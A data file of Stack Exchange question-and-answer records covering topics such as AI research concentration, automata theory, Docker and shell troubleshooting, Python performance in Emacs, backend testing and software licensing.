{  "id": "_ai.221"  , "question": "Currently, many different organizations do cutting-edge AI research, and some innovations are shared freely (at a time lag) while others are kept private. I'm referring to this state of affairs as 'multipolar,' where instead of there being one world leader that's far ahead of everyone else, there are many competitors who can be mentioned in the same breath. (There's not only one academic center of AI research worth mentioning, there might be particularly hot companies but there's not only one worth mentioning, and so on.)But we could imagine instead there being one institution that mattered when it comes to AI (be it a company, a university, a research group, or a non-profit). This is what I'm referring to as monolithic. Maybe they have access to tools and resources no one else has access to, maybe they attract the best and brightest in a way that gives them an unsurmountable competitive edge, maybe returns to research compound in a way that means early edges can't be overcome, maybe they have some sort of government coercion preventing competitors from popping up. (For other industries, network or first-mover effects might be other good examples of why you would expect that industry to be monolithic instead of multipolar.)It seems like we should be able to use insights from social sciences like economics or organizational design or history of science in order to figure out, if not which path seems more likely, how we would know which path seems more likely.(For example, we may be able to measure how much returns to research compound, in the sense of one organization coming up with an insight meaning that organization is likely to come up with the next relevant insight, and knowing this number makes it easier to figure out where the boundary between the two trajectories is located.)"  , "title": "How would we know if AI development will continue to be multipolar, or will become monolithic?"  , "tags": "research;ai community"  } 
{  "id": "_cs.32114"  , "question": "BACKGROUND:Recently I tried to solve a certain difficult problem that gets as input an array of $n$ numbers. For $n=3$, the only solution I could find was to have a different treatment for each of the $n!=6$ orderings of the 3 numbers. I.e., there is one solution for the case $A>B>C$, another solution for $A>C>B$, etc. (the case $A>C=B$ can be solved by any one of these two solutions).Thinking of the case $n=4$, it seems that the only way is, again, to consider all $n!=24$ different orderings and develop a different solution for each case. While the solution in each particular case is fast, the program itself would be very large. So the runtime complexity of the problem is small, but the development time complexity or the program size complexity is very large. This prompted me to try and prove that my problem cannot be solved by a short program. So I looked for references for similar proofs.The first concept that I found is Kolmogorov complexity; however, the information I found about this topic is very general and includes mostly existence results. QUESTION:Can you describe a specific, real-life problem $P$, such that any program solving $P$ on an input array of size $n$ must have a size of at least $\\Omega(f(n))$, where $f(n)$ is some increasing function of $n$?Since the answer obviously depends on the selection of programming language, assume that we program in Java, or in a Turing machine - whichever is more comfortable for you.Every undecidable problem trivially satisfies this requirement because it has no solution at all. So I am looking for a decidable language."  , "title": "What problem cannot be solved by a short program?"  , "tags": "complexity theory;programming languages;kolmogorov complexity"  , "accepted_answer": "I assume that what you actually want is an enumeration of problems suchthat the corresponding programs form an increasing sequence in size.Here is an exemple of such an enumeration.However, I only prove that the size increases beyond any bound, hence it is not in $O(1)$, whichseemed to be your main point. I could try better, but I am wonderingwhat in this answer might not be acceptable in your view of the question.If I understand correctly, you want an enumeration $P_n$ of problems thatare all decidable with an algorithm $A_n$, such that there is nouniform decision procedure for the union of these problems, because ifthere was one, it would be a short program when $n$ gets large,i.e. it would be $O(1(n))$.That implies that the enumeration $A_n$ is not computable. If it werecomputable, the one would be able to compute the algorithm $A_n$ fromthe knowledge of $n$, thus having a uniform procedure for the union ofall the problems in the enumeration.Hence we can only look for examples such that there is no computableenumeration $A_n$ of algorithms such that $A_n$ solves $P_n$.Before going into that, we need to define the size of a Let $T_n$ be a enumeration by Gdel numbers $n$ ofTuring Machines. Such a Gdel enumeration is computable. Then let $P_n$ be thefollowing problem: if $T_n$ halts on all inputs, then $P_n$ consistsin recognizing the recursive set recognized by $T_n$, else $P_n$ consistsin recognizing the empty set $\\emptyset$.Since we are looking for lower bounds on the size of the algorithm$A_n$ that solves $P_n$, we have to define the size of a TM. For a TM,its Gdel number can be taken as the size of the machine, i.e. thecorresponding algorithm. Indeed the number of states and transitionsincreases necessarly with $n$, if only because of the pigeon holeprinciple, though it is not necessarily uniform (and it depends on anarbitrary definition of size anyway).Then, for any TM $T_n$ that always halt, we note ${\\mu(n)}$ the smallest Gdelnumber of a TM  $T_{\\mu(n)}$ such that it always halt and recognizes thesame recursive set as $T_n$. Hence $T_{\\mu(n)}$ is the smallest TM thatactually is an algorithms to solve $P_n$, i.e. it is $A_n$. If $T_n$may not halt, then for $A_n$ we simply use always an algorithmcorresponding to a TM $T_\\emptyset$ the recognizes theset $\\emptyset$, always the same one.Each problem $P_n$ is decidable, and $A_n$ is a decision procedure.However, the enumeration $A_n$ is not computable, but we have shownthat it is unavoidable.It is easy to show that, given any constant $C$, there is an $n$ suchthat the size $|A_n|$ of $A_n$ is greater than $C$. The reason issimply that the number of machines smaller than $C$ is finite, whilethe number of recursive sets recognized by TMs is infinite.So that is an example of a problem (more precisely a problemenumeration) that cannot be solved by a short program, i.e. such thatthere is no constant bound on the length of solutions for each $P_n$.We can always add to each problem $P_n$ that it requires any solutionto first read an array of size $n$, so as to meet the constraint inthe question. But there is little point to it."  } 
{  "id": "_cs.20042"  , "question": "Let $A$ and $B$ be regular languages. Let $C$ be their difference, i.e $C = B \\setminus A$.Given NFAs for $A$ and $B$, is it possible to directly construct an NFA for $C$ without (implicitly or explicitly) converting them to DFAs first?"  , "title": "Direct construction of NFA for the difference of regular languages"  , "tags": "automata;finite automata"  , "accepted_answer": "The short answer is yes.Probably the easiest way to explain it is with an example; turning this into a formal algorithm should be straightforward.The first NFA, $M$, accepts the language $(a\\cup b)^*$:$$q_0 = \\epsilon \\cup a q_0 \\cup b q_0$$with the start state being $q_0$.This is probably not notation that you're used to, but the reason for using this will become clear soon; it's basically saying the same thing as the context-free grammar:$$ S \\rightarrow \\epsilon $$$$ S \\rightarrow a S $$$$ S \\rightarrow b S $$You can see how this is also a description of a NFA. Each term on the right-hand side is either a transition $aq_i$, which means read an $a$ and go to state $q_i$, or $\\epsilon$ which means that the state is a final state.The second NFA, $M$, accepts the language $(a\\cup b)^*aa(a\\cup b)^*$, that is, any string which contains $aa$. The start state is $q_1$; I've used unique state names for reasons that will become obvious in a moment. I deliberately picked an NFA which has some nondeterminism just to show that this works for that case.$$q_1 = a q_1 \\cup b q_1 \\cup a q_2$$$$q_2 = a q_3$$$$q_3 = \\epsilon \\cup a q_3 \\cup a q_3$$We would like to construct a NFA which accepts the language:$$Q_0 = q_0 \\setminus q_1$$expanding one level gives:$$Q_0 = (\\epsilon \\cup a q_0 \\cup b q_0) \\setminus (a q_1 \\cup b q_1 \\cup a q_2)$$$$ = \\epsilon \\cup a (q_0 \\setminus (q_1 \\cup q_2)) \\cup b (q_0 \\setminus q_1)$$$$ = \\epsilon \\cup a Q_1 \\cup b Q_0$$where:$$Q_1 = q_0 \\setminus (q_1 \\cup q_2)$$Note that we already had a state which handled the $b$ transition correctly. For the $a$ transition, we didn't, so we introduced one.We continue:$$Q_1 = q_0 \\setminus (q_1 \\cup q_2)$$$$= (\\epsilon \\cup a q_0 \\cup b q_0) \\setminus (a q_1 \\cup b q_1 \\cup a q_2 \\cup a q_3)$$$$= \\epsilon \\cup a (q_0 \\setminus (q_1 \\cup q_2 \\cup q_3)) \\cup b (q_0 \\cup q_1)$$$$= \\epsilon \\cup a Q_2 \\cup b Q_0$$where:$$Q_2 = q_0 \\setminus (q_1 \\cup q_2 \\cup q_3)$$continuing again, going a little more slowly this time:$$Q_2 = q_0 \\setminus (q_1 \\cup q_2 \\cup q_3)$$$$= (\\epsilon \\cup a q_0 \\cup b q_0) \\setminus ((a q_1 \\cup b q_1 \\cup a q_2) \\cup (a q_3) \\cup (\\epsilon \\cup a q_3 \\cup b q_3))$$$$= a (q_0 \\setminus (q_1 \\cup q_3)) \\cup b (q_0 \\setminus (q_1 \\cup q_3))$$$$= a Q_2 \\cup b Q_2$$Note that we used the fact that $\\epsilon \\setminus \\epsilon = \\varnothing$.So in summary, we have the following NFA with start symbol $Q_0$:$$Q_0 = \\epsilon \\cup a Q_1 \\cup b Q_0$$$$Q_1 = \\epsilon \\cup a Q_2 \\cup b Q_0$$$$Q_2 = a Q_2 \\cup b Q_2$$You can verify for yourself that this accepts the language.There are several things to notice about this.First off, the process must terminate; there are only a finite number of possible transition states which could be created.Secondly, the running time could be exponential in the worst case; each transition state is of the form $\\bigcup_i q_i \\setminus \\bigcup_j q_j$ where the left-hand side of the set minus is a subset of the states from the first machine and the right-hand side is the same for the second machine. There is a finite number of such subsets, but there could be exponentially many in general, and sometimes there will be. And the reason is......the final answer is a DFA! It's not hard to see that this will always be the case. Your question only asked for a method that didn't convert the two NFAs to DFAs first, and you never said anything about not constructing a DFA for the final answer.Basically what we've done here is folded the NFA-to-DFA conversion algorithm together with the DFA difference algorithm, so one algorithm does both. I think this satisfies the requirements of your question."  } 
{  "id": "_softwareengineering.17843"  , "question": "I read few articles on web to find out how Agile, XP, Scrum, pair programming are different from each other / related to each other and I derived the following line:Scrum and XP are almost same. XP has shorter period of releases than ScrumPair programming is employed in both Agile and XP methodologiesBut I was unable to identify how Agile is different from XP.More than providing a URL, I would be happy to read your experience and thoughts on this."  , "title": "How is Agile different from XP?"  , "tags": "project management;agile;scrum;pair programming;extreme programming"  , "accepted_answer": "You are confusing the issue. Being agile means that you are following a bunch of values and practices from the agile manifesto. Thats it. XP and Scrum are development processes that follows those values. Both are just as agile. The big difference between Scrum and XP is that Scrum does not contain practices specifically for programming, whereas XP has lots of them (TDD, continuous integration, pair programming). "  } 
{  "id": "_unix.195975"  , "question": "With this Dockerfile:FROM php:5.4-fpmRUN apt-get -qqy update \\ && apt-get -qqy install git \\                     libcurl4-gnutls-dev \\                     libmcrypt-dev \\                     libpng12-dev \\                     libxml2-dev \\                     libxslt-dev \\ && docker-php-ext-install curl \\                       bcmath \\                       gd \\                       mcrypt \\                       mysql \\                       soap \\                       xsl \\                       zip \\ && rm -rf /var/lib/apt/listsI get the error rm: cannot remove '/var/lib/apt/lists': Directory not emptyBut if I separate out the rm into another RUN statement, suddenly the error goes away.FROM php:5.4-fpmRUN apt-get -qqy update \\ && apt-get -qqy install git \\                     libcurl4-gnutls-dev \\                     libmcrypt-dev \\                     libpng12-dev \\                     libxml2-dev \\                     libxslt-dev \\ && docker-php-ext-install curl \\                       bcmath \\                       gd \\                       mcrypt \\                       mysql \\                       soap \\                       xsl \\                       zipRUN rm -rf /var/lib/apt/listsrm is just /bin/rm in the php:5.4-fpm container. Why is docker build unable to remove /var/lib/apt/lists in the first case, and why is it exiting with a nonzero exit status even with the -f flag?"  , "title": "Cannot (force) remove directory in Docker build"  , "tags": "rm;docker"  , "accepted_answer": "According to the Docker development discussion this is the number 1 known issue in the Docker docs.  Here is the current release note reference.Unexpected File Permissions in Containers An idiosyncrasy in AUFS prevents permissions from propagating predictably between upper and lower layers. This can cause issues with accessing private keys, database instances, etc. For complete information and workarounds see Github Issue 783.The mentioned workaround can be found on Github here"  } 
{  "id": "_unix.306481"  , "question": "How can I setup a Bacula job so that when it writes its files, it only writes to tapes that are completely empty? For this particular job, I don't want it to share any tapes with other backup jobs."  , "title": "Tell Bacula to use only empty tapes"  , "tags": "backup;bacula"  } 
{  "id": "_codereview.36275"  , "question": "This is roughly what my data file looks like:# Monid      U        B       V       R       I      u       g        r       i       J      Jerr     H      Herr      K      Kerr   IRAC1    I1err  IRAC2    I2err  IRAC3    I3err  IRAC4    I4err  MIPS24  M24err  SpT    HaEW       mem compMon-000001  99.999  99.999  21.427  99.999  18.844  99.999  99.999  99.999  99.999  16.144  99.999  15.809   0.137  16.249  99.999  15.274   0.033  15.286   0.038  99.999  99.999  99.999  99.999  99.999  99.999  null   55.000        1  NMon-000002  99.999  99.999  20.905  19.410  17.517  99.999  99.999  99.999  99.999  15.601   0.080  15.312   0.100  14.810   0.110  14.467   0.013  14.328   0.019  14.276   0.103  99.999   0.048  99.999  99.999  null  -99.999        2  N...and it's a total of 31mb in size. Here's my python script that pulls the Mon-###### IDs (found at the beginning of each of the lines).import redef pullIDs(file_input):    '''Pulls Mon-IDs from input file.'''    arrayID = []    with open(file_input,'rU') as user_file:        for line in user_file:            arrayID.append(re.findall('Mon\\-\\d{6}',line))    return arrayIDprint pullIDs(raw_input(Enter your first file: ))The script works but for this particular file it ran for well into 5 minutes and I eventually just killed the process due to impatience. Is this just something I'll have to deal with in python? i.e. Should this be written with a compiled language considering the size of my data file?Further info:  This script is being run within Emacs. This, by the checked answer, explains why it was running so slow."  , "title": "Why is this program for extracting IDs from a file so slow?"  , "tags": "python;optimization;array"  , "accepted_answer": "You said in comments that you don't know how to create a self-contained test case. But that's really easy! All that's needed is a function like this:def test_case(filename, n):    Write n lines of test data to filename.    with open(filename, 'w') as f:        for i in range(n):            f.write('Mon-{0:06d} {1}\\n'.format(i + 1, '  99.999' * 20))You can use this to make a test case of about the right size:>>> test_case('cr36275.data', 200000)>>> import os>>> os.stat('cr36275.data').st_size34400000That's about 34 MiB so close enough. Now we can see how fast your code really is, using the timeit module:>>> from timeit import timeit>>> timeit(lambda:pullIDs('cr36275.data'), number=1)1.3354740142822266Just over a second. There's nothing wrong with your code or the speed of Python.So why does it take you many minutes? Well, you say that you're running it inside Emacs. That means that when you run>>> pullIDs('cr36275.data')Python prints out a list of 200,000 ids, and Emacs reads this line of output into the *Python* buffer and applies syntax highlighting rules to it as it goes. Emacs' syntax highlighting code is designed to work on lines of source code (at most a few hundred characters but mostly 80 characters or less), not on lines of output that are millions of characters long. This is what is taking all the time.So don't do that. Read the list of ids into a variable and if you need to look at it, use slicing to look at bits of it:>>> ids = pullIDs('cr36275.data')>>> ids[:10][['Mon-000001'], ['Mon-000002'], ['Mon-000003'], ['Mon-000004'], ['Mon-000005'], ['Mon-000006'], ['Mon-000007'], ['Mon-000008'], ['Mon-000009'], ['Mon-000010']]"  } 
{  "id": "_unix.97017"  , "question": "I'm trying to configure zsh to closely fit how bash behaves before I fully switch, and one behavior I'm trying to modify in zsh is when it inserts a Tab character.I see how it could be helpful for writing functions interactively, but I prefer bash's behavior of listing the directory contents.  Ideally, I would like to cycle through the directories using a menu, but my main priority is to list directories like Bash after one or two Tab presses instead of inserting a Tab.I did try to look this up, but everything I found only pertained to disabling Tab Completion entirely.EDIT: I mistakenly thought bash's default completion on empty input was to list the directory when I posted this, I feel like it may have caused some confusion with what I was asking.My main objective is to prevent zsh from inserting a Tab when there is only whitespace."  , "title": "Zsh - Disable Tab Insert"  , "tags": "zsh;keyboard shortcuts"  , "accepted_answer": "Setting the insert-tab tag to false will prevent a tab from being inserted when there are no characters to the left of the cursor.zstyle ':completion:*' insert-tab false "  } 
{  "id": "_cs.48256"  , "question": "Given the language $L = \\{w \\in \\{a,b\\}^* \\, | \\, |w| = n \\cdot \\sqrt{n} \\text{ and } n \\geq 42\\}$ and the assignement to proof that $L \\notin CFL$ with the Pumping lemma. Assuming $L \\in CFL$, would it be possible to start with defining a language $L' := L \\cap a^+$ which has to be context-free since $CFL$ is closed under intersection with $REG$. Now I would have to proof that $L' = \\{w \\in a^+ \\, | \\, |w| = n \\cdot \\sqrt{n} \\text{ and } n \\geq 42\\}$ isn't regular because the alphabet contains only one symbol. Let $k$ be the constant of the Pumping lemma and $m > k$ and $m > 42$. So $z = a^{m^2\\cdot\\sqrt{m^2}} = a^{m^3} \\in L'$.$|z| = |uvw| = m^3 ...$ How to continue?"  , "title": "Proof that a given language is not context-free"  , "tags": "context free;pumping lemma"  , "accepted_answer": "You're off to a good start. You recognize that all you have to do is show that the language $L'$ isn't regular. You let $k$ be the integer of the PL and choose an integer $m$ with $m>k$ and $m>42$ so you choose to pump the string $z=a^{m^3}$. Write this as $uvw$ with $|v|=t$ and $0<t<k$. Now we'll have $|uv^2w|=m^3+t<m^3+m$. This string can't be in $L'$ since it's strictly smaller than the next largest string in $L'$, namely the one with length $(m+1)^3$, since obviously $$m^3+m<m^3+3m^2+3m+1$$Since $L'$ isn't regular, $L$ can't be a CFL."  } 
{  "id": "_unix.378121"  , "question": "I have a bash script that will execute a script of my choosing against a server over ssh. My problem is that I also want to use an input file with common variables so I don't have to change them in each script.  So far my attempts at getting it to source the two files have resulted in it trying to find one of them on the remote machine.inputJBLGSMR002,IP.IP.IP.IP,root,pers,perssourcelist#!/bin/bashvar1=Some stuffvar2=Some stuff 2Script#!/bin/bash##set -xinput=/home/jbutryn/Documents/scripts/shell/input/nodelist.csvsourcelist=/home/jbutryn/Documents/scripts/shell/Tools/slisttools=/home/jbutryn/Documents/scripts/shell/Tools#is.there () {        if grep -wF $1 $2 > /dev/null 2>&1 ; then                echo true        else                echo false        fi}#nodethere=$(is.there $1 $input)#if [[ $nodethere = true ]]; then        ipconn=$(awk -F ',' '/'$1'/ {print $2}' $input)        usrconn=$(awk -F ',' '/'$1'/ {print $3}' $input)elif [[ $nodethere = false ]]; then        echo Couldn't find $1 in database        exit 1fi#if [[ -f $tools/$2 ]]; then        echo Please enter your password for $1:         read -s SSHPASS        eval export SSHPASS='$SSHPASS'        sshpass -e ssh $usrconn@$ipconn <  $tools/$2elif [[ ! -f $tools/$2 ]]; then        echo Couldn't find $2 script in the Tools        exit 1fiI have this test script to see if it's passing the variables to the remote machine:Test Script#!/bin/bash#touch testlogecho $var1 >> ./testlogecho $var2 >> ./testlogAnd this is what I've tried so far to get the sourcelist to pass through:if [[ -f $tools/$2 ]]; then        echo Please enter your password for $1:         read -s SSHPASS        eval export SSHPASS='$SSHPASS'        sshpass -e ssh $usrconn@$ipconn < $sourcelist; $tools/$2This one will create a blank testlog file on the local machineif [[ -f $tools/$2 ]]; then    echo Please enter your password for $1:      read -s SSHPASS    eval export SSHPASS='$SSHPASS'    sshpass -e ssh $usrconn@$ipconn <'EOF'    source $sourcelist    bash $tools/$2    logout    EOFThis one will create a blank testlog file on the local machineI've also tried using source bash . to call the files but I still can't seem to get both local files to pass to the remote machine.  Anyone know how this can be done?"  , "title": "How can I pass two files through ssh?"  , "tags": "bash;ssh;sshpass"  , "accepted_answer": "It's a bit difficult to understand what you're really trying to do.If you want to concatenate the content of $sourcelist and $tools/$2 and execute it in Bash, you can use cat with those two files and pipe to ssh like this:cat $sourcelist $tools/$2 | sshpass -e ssh $usrconn@$ipconn "  } 
{  "id": "_softwareengineering.229853"  , "question": "I feel kind of lost in this backend development process I am attempting right now. Most of the usual development practices I use while developing client-side applications don't apply here... Let me provide some context.The debugging processWhile developing a client side application (iOS, Java desktop app, or whatever), it is easy to quickly setup the project on your favorite IDE, get it running on your machine or a testing device, and debug the hell out of it as much as you like.On the other hand, it's not as trivial to hook a debugger to your backend code, and especially if it is python code running on Google App Engine (GAE). That's what I am using, and ... yeah. Linters and all help A LOT, but still, semantic issues cannot be resolved that way, obviously.I am currently going over my recently written backend code and just burying it with logging.debug('msg') statements, asserts and whatnot. This is the only thing I can think of. Is this normal for backend developers? Does logging and digging through logs usually how backend devs iterate on their applications?Parallelism and request drivenThis might be a bit more specific to GAE and other non-blocking backends, honestly. Single threaded servers don't suffer from this problem... Anyways, so when you are dealing with parallelism and everything is driven by socket events, how do backend developers usually test if their backend works?I did the most naive thing of all time, which is to open python console and using the requests library just send requests and test bit by bit. Then, I went ahead and wrote a kivy app to help me send the requests from a GUI interface and see what is going on, but it's taking more time to maintain the kivy app than develop the backend!! I tried to check for test frameworks for GAE, but they didn't seem easy to get, so I was wondering if they are worth it? Would I be able to simulate 100s of clients using my backend using test frameworks? What do people use these days (For GAE specifically)?Visualizing the flowBecause of my inexperience with backend development, it is surprisingly hard hard for me to keep a clear image of the request/response cycle in my head. I know the basics, I have written a few backend apps, but as soon as it get just a little complex, I have to keep reminding myself where the request goes through by looking at the entry point, and all the steps till the response is made. I am sure if I were able to somehow visualize it, I don't have to keep going back over and over. Instead, I would easily know where a bug would originate, for example, or where is the best place to add a certain feature.In any case, I was wondering if there is some sort of standard thing to design the request flow. I don't know, maybe a UML diagram or something?I tried to sketch it out, but I ended up with a mess. Like, I would sketch the backend design based on the features and requirements, but then the actual logic and model would be left out. Then, I try to include those in the diagram, and it becomes overly complex and cluttered with many weird arrows and boxes. I need something to backend development, like ER diagrams is for relational database design.Yeah, Sorry. I talk a lot, and I am lost in this world. Help?"  , "title": "Backend development philosophy"  , "tags": "development process;tools;server;server side;google app engine"  , "accepted_answer": "Debugging / TESTING!Unit test the heck out of your backend code. It's usually easier than unit testing frontend code, because the code isn't waiting for arbitrary clicks or keypresses. It's all this data comes in, this data goes out. Aggressive unit testing will speed you up phenomenally because you don't have to go all the way back to the start to validate each little bit of code. And then you'll have those tests around as regression testing.There is a TDD (Test-driven development) that says you should write your tests first, and then fill in the code that makes them work. But I can only do that halfway, and claim that I'm using London style. But if that appeals to you, it is a good practice.As a high water mark: in Python, I aim for 100% test coverage & it's pretty easy hitting that.I'm one of those guys who almost never uses a debugger. Rather, I use unit tests to make gurantees about behavior and sensible logging. But that's just my preference.ParallelismMore important to get the thing working at all IMHOVisualizingI find these diagrams essential for my work: sequence diagram, and (less so) ER diagram and state diagramCheck out http://websequencediagrams.com . It will save your life on a complicated project, and even on simple ones really help visualize the client-server interactions.If you draw a sequence diagram, not only will it show the client-server interactions, but every arrow pointing at your service is an API method you must implement. Pretty handy & very direct.Yes, I use ER diagrams for both database design and class design when the data reaches a certain complexity.Sometimes a state diagram can be very useful.My opinion is that backend development is easier than frontend devleopment because I see my job as moving bytes from here to there. But that may be just because I'm really bad at frontend development."  } 
{  "id": "_unix.250811"  , "question": "If I set the EDITOR environment variable to emacs in bash, running crontab -e will open the crontab in emacs. When I set it in fish with set -U EDITOR emacscrontab opens with vim. What can I do to get crontab to open with emacs?"  , "title": "Programs don't see fish environment variables"  , "tags": "environment variables;fish"  } 
{  "id": "_webapps.95018"  , "question": "I have an old and a new Google account to work on Drive. On my old Drive I have a lot of shared folders from customers. Now I don't want to ask all my customers to invite my new account to their folders again.Is there a way I can merge/combine my old account to my new account? I've read this article, but I was hoping there would be a more easy way."  , "title": "How to merge/combine two Google Drive accounts?"  , "tags": "google drive;google account"  } 
{  "id": "_unix.109655"  , "question": "I got curious about why not so many people have Solaris in their desktops and laptops. I wonder whether it's a good idea at all, or something just for the absolute geek.Could I maybe give it a try either in an open server online or through a live-cd?What difficulties would I expect to find and what version is good for beginners?"  , "title": "Moving to Solaris (from Linux)"  , "tags": "solaris"  } 
{  "id": "_unix.379100"  , "question": "I can't remove /etc/group- -- why not?root@dom:/etc# whoamirootroot@dom:/etc# pwd/etcroot@dom:/etc# rm -f /etc/group-rm: cannot remove /etc/group-: Device or resource busyroot@dom:/etc# fuser -v /etc/group-root@dom:/etc# mountsysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)udev on /dev type devtmpfs (rw,relatime,size=10240k,nr_inodes=2040032,mode=755)devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000)tmpfs on /run type tmpfs (rw,nosuid,relatime,size=3280816k,mode=755)/dev/sde1 on / type ext4 (rw,relatime,errors=remount-ro,data=ordered)securityfs on /sys/kernel/security type securityfs (rw,nosuid,nodev,noexec,relatime)tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)tmpfs on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k)tmpfs on /sys/fs/cgroup type tmpfs (ro,nosuid,nodev,noexec,mode=755)cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/lib/systemd/systemd-cgroups-agent,name=systemd)pstore on /sys/fs/pstore type pstore (rw,nosuid,nodev,noexec,relatime)cgroup on /sys/fs/cgroup/cpuset type cgroup (rw,nosuid,nodev,noexec,relatime,cpuset)cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct)cgroup on /sys/fs/cgroup/devices type cgroup (rw,nosuid,nodev,noexec,relatime,devices)cgroup on /sys/fs/cgroup/freezer type cgroup (rw,nosuid,nodev,noexec,relatime,freezer)cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (rw,nosuid,nodev,noexec,relatime,net_cls,net_prio)cgroup on /sys/fs/cgroup/blkio type cgroup (rw,nosuid,nodev,noexec,relatime,blkio)cgroup on /sys/fs/cgroup/perf_event type cgroup (rw,nosuid,nodev,noexec,relatime,perf_event)systemd-1 on /proc/sys/fs/binfmt_misc type autofs (rw,relatime,fd=22,pgrp=1,timeout=300,minproto=5,maxproto=5,direct)debugfs on /sys/kernel/debug type debugfs (rw,relatime)mqueue on /dev/mqueue type mqueue (rw,relatime)hugetlbfs on /dev/hugepages type hugetlbfs (rw,relatime)fusectl on /sys/fs/fuse/connections type fusectl (rw,relatime)/dev/sda1 on /var type ext4 (rw,relatime,errors=remount-ro,data=ordered)/dev/sdd1 on /opt type ext4 (rw,relatime,errors=remount-ro,data=ordered)/dev/sdc1 on /mediafiles type ext4 (rw,relatime,errors=remount-ro,data=ordered)/dev/sdb1 on /mediafiles/blurays type ext4 (rw,relatime,errors=remount-ro,data=ordered)rpc_pipefs on /run/rpc_pipefs type rpc_pipefs (rw,relatime)tmpfs on /run/user/0 type tmpfs (rw,nosuid,nodev,relatime,size=1640408k,mode=700)tmpfs on /run/user/1000 type tmpfs (rw,nosuid,nodev,relatime,size=1640408k,mode=700,uid=1000,gid=1000)root@dom:/etc# uname -aLinux dom 3.16.0-4-amd64 #1 SMP Debian 3.16.43-2+deb8u2 (2017-06-26) x86_64 GNU/Linuxroot@dom:/etc# lsof +D /etcCOMMAND  PID   USER   FD   TYPE DEVICE SIZE/OFF     NODE NAMEopenvpn 1855 nobody  cwd    DIR   8,65     4096 13634055 /etc/openvpnjsvc    2070   root    3r   REG   8,65     1649 13634356 /etc/java-8-openjdk/jvm-amd64.cfgjsvc    2070   root    4r   REG   8,65     1649 13634356 /etc/java-8-openjdk/jvm-amd64.cfgjsvc    2078   root    3r   REG   8,65     1649 13634356 /etc/java-8-openjdk/jvm-amd64.cfgjsvc    2078   root    4r   REG   8,65     1649 13634356 /etc/java-8-openjdk/jvm-amd64.cfgjsvc    2079   root    3r   REG   8,65     1649 13634356 /etc/java-8-openjdk/jvm-amd64.cfgjsvc    2079   root    4r   REG   8,65     1649 13634356 /etc/java-8-openjdk/jvm-amd64.cfgmc      3538   root  cwd    DIR   8,65    12288 13631489 /etcbash    3547   root  cwd    DIR   8,65    12288 13631489 /etcmc      5549   root  cwd    DIR   8,65    12288 13631489 /etcbash    5551   root  cwd    DIR   8,65    12288 13631489 /etclsof    5928   root  cwd    DIR   8,65    12288 13631489 /etclsof    5929   root  cwd    DIR   8,65    12288 13631489 /etcroot@dom:/etc# ls -l /etc/group--rw------- 1 root root 1168 Jul 17 21:53 /etc/group-root@dom:/etc# ls -l /|grep etcdrwxr-xr-x 153 root root 12288 Jul 17 21:57 etcroot@dom:/etc#"  , "title": "Debian - cannot delete /etc/group- -- Device or resource busy"  , "tags": "debian;files;rm;firejail"  } 
{  "id": "_unix.60965"  , "question": "Qt applications are deleting non-latin characters from ISO-8859 encoded files on my Gentoo system. Actually I'm trying to merge two German files with KDiff3 and P4Merge (making Whlen out of Whlen). Both tools don't display the Umlauts and when the file is saved, they also disappear in the file. The Dejavu Monospace font is used, Courier New shows the same behavior.If UTF-8 encoded files are presented to the tools, all non-latins are handled correctly.GTK Meld (and all other GTK apps) handles the chars (ISO-8859-1 and UTF-8) quite well. I believe its my Locale configuration, but can't discern what's amiss...Any ideas?Configs: $ locale -a C POSIX de_DE de_DE.iso88591 de_DE.iso885915@euro de_DE.utf8 de_DE@euro deutsch en_US en_US.iso88591 en_US.utf8 german $ locale LANG=en_US.UTF-8 LC_CTYPE=en_US.UTF-8 LC_NUMERIC=en_US.UTF-8 LC_TIME=en_US.UTF-8 LC_COLLATE=C LC_MONETARY=en_US.UTF-8 LC_MESSAGES=en_US.UTF-8 LC_PAPER=en_US.UTF-8 LC_NAME=en_US.UTF-8 LC_ADDRESS=en_US.UTF-8 LC_TELEPHONE=en_US.UTF-8 LC_MEASUREMENT=en_US.UTF-8 LC_IDENTIFICATION=en_US.UTF-8 LC_ALL=Qt use flags for x11-libs/qt-core-4.8.2:4:exceptions glib iconv qt3support ssl (-aqua) -c++0x -debug -icu -pch(-optimized-qmake%) (-qpa%)"  , "title": "Encoding Problem: Qt Apps delete all non ASCII chars from files"  , "tags": "gentoo;character encoding;locale;qt"  } 
{  "id": "_cogsci.7847"  , "question": "The term Shiny Object Syndrome is used to describe the tendency to start new ideas without thinking them through, especially in business.Does this phrase represent an actual clinical diagnosis? Are there people who are more likely than others to be distracted by shiny objects? Can shiny objects cause further effects other than distraction?"  , "title": "Is there really a Shiny Object Syndrome?"  , "tags": "cognitive psychology;attention"  } 
{  "id": "_softwareengineering.253968"  , "question": "Recently, I was in a situation where I wanted to release a simple piece of JavaScript software under an open source license.However, I withdrew from it because the software contained several open source components that were released under different licenses.Under what license should the bundled software be released (given that various third party components are mixed into the software at code level)?"  , "title": "How to release bundled software with different licenses?"  , "tags": "licensing"  , "accepted_answer": "If parts of the bundle are under licenses that don't allow sublicensing (which is true for the majority of licenses), then you can't distribute that bundle under a single license.The best option in that case is to explicitly state that different parts of the software are distributed under different licenses and to clearly indicate which parts fall under which license (down to identifying individual function if needed).This can also be used if a single file contains parts that are under different licenses.This is under the assumption that the licenses are compatible with each other and that you are thus allowed to distribute the software and that the bundle form one piece of software (it is not just a convenient collection of independent pieces of software).If you have a bundle of independent pieces of software, then that bundle is not considered a work under copyright law and thus doesn't have a copyright of its own."  } 
